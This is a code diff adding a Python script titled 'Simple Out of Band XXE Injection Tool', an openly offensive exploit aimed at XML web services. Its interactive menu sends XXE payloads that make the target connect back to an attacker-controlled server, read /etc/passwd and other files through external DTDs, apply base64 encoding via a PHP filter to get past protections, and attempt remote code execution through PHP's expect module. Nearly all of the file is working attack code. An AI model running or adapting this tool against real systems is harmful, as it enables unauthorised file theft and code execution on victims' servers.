|
| 1 | +#!/usr/bin/env python |
| 2 | +__author__ = "Munir Njiru" |
| 3 | +__email__ = "munir@alien-within.com" |
| 4 | +__status__ = "Production" |
| 5 | + |
| 6 | +import requests as alienOOBXXERequestor |
| 7 | +import tldextract |
| 8 | + |
| 9 | +print "#######################################\n" |
| 10 | +print "Simple Out of Band XXE Injection Tool.\nby Alienwithin\nVersion: 1.0\nWebsite: https://www.alien-within.com\n" |
| 11 | +print "#######################################\n\n" |
| 12 | +''' |
| 13 | +Basic Settings that should be changed below: |
| 14 | +- Endpoint to attack or webservice URL |
| 15 | +- IP and Port of python simple http server (i.e attacker's server to receive information) or XXE Server Component |
| 16 | +''' |
| 17 | +attacker_ip = "ATTACKER IP" |
| 18 | +attacker_port = "ATTACKER PORT" |
| 19 | +endpoint = "URL TO VICTIM WEBSERVICE e.g. http://target.com/webservice.php" |
| 20 | +fullURL=tldextract.extract(endpoint) |
| 21 | +targetHostname=fullURL.domain |
| 22 | +''' |
| 23 | +Basic Settings End |
| 24 | +
|
| 25 | +Ignore the below its basic Headers predefined |
| 26 | +''' |
| 27 | + |
| 28 | +XXEHeaders = { |
| 29 | +'Host': targetHostname, |
| 30 | +'Accept': 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5', |
| 31 | +'Accept-Encoding': 'gzip, deflate', |
| 32 | +'Accept-Language': 'en-us,en;q=0.5', |
| 33 | +'Cache-Control': 'no-cache', |
| 34 | +'Content-Type': 'text/xml', |
| 35 | +'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36', |
| 36 | +'X-HTTP-Method-Override': 'GET' |
| 37 | +} |
| 38 | + |
| 39 | +''' |
| 40 | +From this section downwards we have the Four attack Types supported so far: |
| 41 | + - Pinging to see if we can force it to connect to our target server from the target |
| 42 | + - Retrieve File with no encoding |
| 43 | + - Retrieve file base64 encoded incase of borderline protection |
| 44 | + - Attempt RCE via the expect module if it is loaded (PHP only) |
| 45 | +''' |
| 46 | +attack_type = raw_input("What attack type would you like to execute?\n1. Simple Connect Back Request\n2. Attempt to Retrieve File (File Protocol)\n3. Attempt to retrieve file (Using PHP filter wrapper)\n4. Check Code execution using expect\n") |
| 47 | + |
| 48 | +if attack_type=="1": |
| 49 | + print "Please ensure you have started python HTTP Server in another commandline tab; to do so run the command below:\npython -m SimpleHTTPServer\n\nAfter this is done please confirm that the IP address and port are configured in the script in the settings section.\n" |
| 50 | + check_complete=raw_input("Proceed with attack?\n1. Yes\n2. No\n") |
| 51 | + if check_complete == "1": |
| 52 | + connect_back = "<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE r [<!ENTITY % s \"http://fakeurltoCloak\"><!ENTITY % d \"AliensLoveXXE.test\"><!ENTITY % dtd SYSTEM \"http://"+attacker_ip+":"+attacker_port+"/dtd\"> %dtd;]><r>&a;</r>" |
| 53 | + testConnectBack = alienOOBXXERequestor.post(endpoint,headers=XXEHeaders,data={'name':connect_back}) |
| 54 | + print testConnectBack.text |
| 55 | + else: |
| 56 | + print "User aborted the attack; script will now exit. " |
| 57 | + exit() |
| 58 | + |
| 59 | +elif attack_type == "2": |
| 60 | + getFilePlain = "<!DOCTYPE fileexfiltration [<!ENTITY % get SYSTEM \"file:///etc/passwd\"><!ENTITY % dtd SYSTEM \"http://"+attacker_ip+":"+attacker_port+"/getFile.dtd\" > %get%dtd;]>" |
| 61 | + testPlainFileRetrieve=alienOOBXXERequestor.post(endpoint,headers=XXEHeaders,data=getFilePlain) |
| 62 | + print testPlainFileRetrieve.text |
| 63 | + |
| 64 | +elif attack_type == "3": |
| 65 | + getFileEncoded = "<!DOCTYPE root [ <!ENTITY % remote SYSTEM \"http://"+attacker_ip+":"+attacker_port+"/getFileEncoded.dtd\"> %remote; %internal; %xxe; ]>" |
| 66 | + testEncodedFileRetrieve = alienOOBXXERequestor.post(endpoint,headers=XXEHeaders,data=getFileEncoded) |
| 67 | + print testEncodedFileRetrieve.text |
| 68 | + |
| 69 | +elif attack_type == "4": |
| 70 | + checkRCE = "<!DOCTYPE root [ <!ENTITY % remote SYSTEM \"http://"+attacker_ip+":"+attacker_port+"/rceEncoded.dtd\"> %remote; %internal; %xxe; ]>" |
| 71 | + testRCE = alienOOBXXERequestor.post(endpoint,headers=XXEHeaders,data=checkRCE) |
| 72 | + print testRCE.text |
| 73 | + |
| 74 | +else: |
| 75 | + print "I really don't know the attack type you are trying to run I will now exit" |
| 76 | + exit() |
| 77 | + |
0 commit comments